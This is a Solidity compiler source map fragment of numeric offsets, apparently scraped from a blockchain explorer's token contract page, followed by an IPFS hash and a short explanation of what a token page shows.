;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18971:419;18916:474;:::o;18418:120::-;18503:23;;-1:-1:-1;;;;;18503:15:0;;;:23;;;;;18519:6;;18503:23;;;;18519:6;18503:15;:23;;;;;;;;;;;;;;;;;;;;;18418:120;;:::o;16083:287::-;16127:8;;:13;:31;;;;-1:-1:-1;16144:9:0;;:14;16127:31;:50;;;;-1:-1:-1;16162:10:0;;:15;16127:50;16124:62;;;16083:287::o;16124:62::-;16211:9;;;16198:10;:22;16246:10;;;16232:11;:24;16280:8;;;16268:9;:20;-1:-1:-1;16299:13:0;;;;16323:14;;;;16348:12;16083:287::o;19754:615::-;19857:25;19884:19;19907:26;19918:14;19907:10;:26::i;:::-;-1:-1:-1;;;;;19964:17:0;;;;;;:9;:17;;;;;;19856:77;;-1:-1:-1;19856:77:0;-1:-1:-1;19964:37:0;;19986:14;19964:21;:37::i;:::-;-1:-1:-1;;;;;19944:17:0;;;;;;;:9;:17;;;;;;;;:57;;;;20081:139;;20102:14;;;;;;;;20084:37;;;20102:14;;;20085:32;;:15;:32;;;;;;;;20084:37;;20081:139;;;20084:37;;;20081:139;;;20083:130;;20207:6;;;;;;;;;-1:-1:-1;20207:6:0;;;;20083:130;;;20125:79;;;20176:22;;;;;20125:79;;;;20176:22;;;20135:35;;;;;;;;20136:30;20135:35;;;;20125:79;;;20127:72;;20176:22;20127:48;:72::i;:::-;20125:79;;;20083:130;20081:139;;;-1:-1:-1;;;;;20035:20:0;;20216:3;20035:20;;;:9;20081:139;20035:20;;;;;:43;;20060:17;20035:24;:43::i;:::-;:185;;;;:::i;:::-;-1:-1:-1;;;;;20012:20:0;;;;;;:9;:20;;;;;;:208;;;;20276:4;20258:24;;;;:41;;20287:11;20258:28;:41::i;:::-;20249:4;20231:24;;;;:9;:24;;;;;;;;;:68;;;;20315:46;1819:25:1;;;-1:-1:-1;;;;;20315:46:0;;;;;;;;;;1792:18:1;20315:46:0;;;;;;;19845:524;;19754:615;;;:::o;16384:176::-;16430:9;;16419:8;:20;16458:10;;16446:9;:22;16489:63;;;16491:16;;;;;16492:11;;16489:63;;;16491:16;;;16489:63;;16509:28;;16491:16;16509:28;;;;;;16521:11;;16489:63;;;;;16509:28;;16510:23;;-1:-1:-1;;;16521:11:0;;;;16510:10;:23::i;:::-;16509:28;;;16489:63;;16540:11;;-1:-1:-1;;;16540:11:0;;;;16489:63;;;;;;;:::i;:::-;;;;;16476:10;:76;16384:176::o;20379:272::-;20445:7;20454;20474:19;20520:3;20511:8;;20496:14;:23;;;;:::i;:::-;:27;;;;:::i;:::-;20474:49;-1:-1:-1;20534:25:0;20562:31;:14;20474:49;20562:18;:31::i;:::-;20534:59;20631:11;;-1:-1:-1;20379:272:0;;-1:-1:-1;;;20379:272:0:o;1082:98::-;1140:7;1167:5;1171:1;1167;:5;:::i;18546:115::-;18605:7;18631:22;;;;;;;;18639:8;18632:4;:15;;;;:::i;:::-;18631:22;;;;;-1:-1:-1;;18546:115:0:o;238:548:1:-;350:4;379:2;408;397:9;390:21;440:6;434:13;483:6;478:2;467:9;463:18;456:34;508:1;518:140;532:6;529:1;526:13;518:140;;;627:14;;;623:23;;617:30;593:17;;;612:2;589:26;582:66;547:10;;518:140;;;522:3;707:1;702:2;693:6;682:9;678:22;674:31;667:42;777:2;770;766:7;761:2;753:6;749:15;745:29;734:9;730:45;726:54;718:62;;;;238:548;;;;:::o;791:131::-;-1:-1:-1;;;;;866:31:1;;856:42;;846:70;;912:1;909;902:12;846:70;791:131;:::o;927:315::-;995:6;1003;1056:2;1044:9;1035:7;1031:23;1027:32;1024:52;;;1072:1;1069;1062:12;1024:52;1111:9;1098:23;1130:31;1155:5;1130:31;:::i;:::-;1180:5;1232:2;1217:18;;;;1204:32;;-1:-1:-1;;;927:315:1:o;1855:456::-;1932:6;1940;1948;2001:2;1989:9;1980:7;1976:23;1972:32;1969:52;;;2017:1;2014;2007:12;1969:52;2056:9;2043:23;2075:31;2100:5;2075:31;:::i;:::-;2125:5;-1:-1:-1;2182:2:1;2167:18;;2154:32;2195:33;2154:32;2195:33;:::i;:::-;1855:456;;2247:7;;-1:-1:-1;;;2301:2:1;2286:18;;;;2273:32;;1855:456::o;2713:247::-;2772:6;2825:2;2813:9;2804:7;2800:23;2796:32;2793:52;;;2841:1;2838;2831:12;2793:52;2880:9;2867:23;2899:31;2924:5;2899:31;:::i;2965:388::-;3033:6;3041;3094:2;3082:9;3073:7;3069:23;3065:32;3062:52;;;3110:1;3107;3100:12;3062:52;3149:9;3136:23;3168:31;3193:5;3168:31;:::i;:::-;3218:5;-1:-1:-1;3275:2:1;3260:18;;3247:32;3288:33;3247:32;3288:33;:::i;:::-;3340:7;3330:17;;;2965:388;;;;;:::o;3358:380::-;3437:1;3433:12;;;;3480;;;3501:61;;3555:4;3547:6;3543:17;3533:27;;3501:61;3608:2;3600:6;3597:14;3577:18;3574:38;3571:161;;3654:10;3649:3;3645:20;3642:1;3635:31;3689:4;3686:1;3679:15;3717:4;3714:1;3707:15;3571:161;;3358:380;;;:::o;4511:127::-;4572:10;4567:3;4563:20;4560:1;4553:31;4603:4;4600:1;4593:15;4627:4;4624:1;4617:15;4643:168;4716:9;;;4747;;4764:15;;;4758:22;;4744:37;4734:71;;4785:18;;:::i;4816:217::-;4856:1;4882;4872:132;;4926:10;4921:3;4917:20;4914:1;4907:31;4961:4;4958:1;4951:15;4989:4;4986:1;4979:15;4872:132;-1:-1:-1;5018:9:1;;4816:217::o;6603:127::-;6664:10;6659:3;6655:20;6652:1;6645:31;6695:4;6692:1;6685:15;6719:4;6716:1;6709:15;6735:125;6800:9;;;6821:10;;;6818:36;;;6834:18;;:::i;6865:175::-;6902:3;6946:4;6939:5;6935:16;6975:4;6966:7;6963:17;6960:43;;6983:18;;:::i;:::-;7032:1;7019:15;;6865:175;-1:-1:-1;;6865:175:1:o;7177:251::-;7247:6;7300:2;7288:9;7279:7;7275:23;7271:32;7268:52;;;7316:1;7313;7306:12;7268:52;7348:9;7342:16;7367:31;7392:5;7367:31;:::i;7433:980::-;7695:4;7743:3;7732:9;7728:19;7774:6;7763:9;7756:25;7800:2;7838:6;7833:2;7822:9;7818:18;7811:34;7881:3;7876:2;7865:9;7861:18;7854:31;7905:6;7940;7934:13;7971:6;7963;7956:22;8009:3;7998:9;7994:19;7987:26;;8048:2;8040:6;8036:15;8022:29;;8069:1;8079:195;8093:6;8090:1;8087:13;8079:195;;;8158:13;;-1:-1:-1;;;;;8154:39:1;8142:52;;8249:15;;;;8214:12;;;;8190:1;8108:9;8079:195;;;-1:-1:-1;;;;;;;8330:32:1;;;;8325:2;8310:18;;8303:60;-1:-1:-1;;;8394:3:1;8379:19;8372:35;8291:3;7433:980;-1:-1:-1;;;7433:980:1:o;8418:128::-;8485:9;;;8506:11;;;8503:37;;;8520:18;;:::i

Swarm Source

ipfs://80701c5432568f612518c9af72dab748f089c63dfffbbfb95382335f7f80d609
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.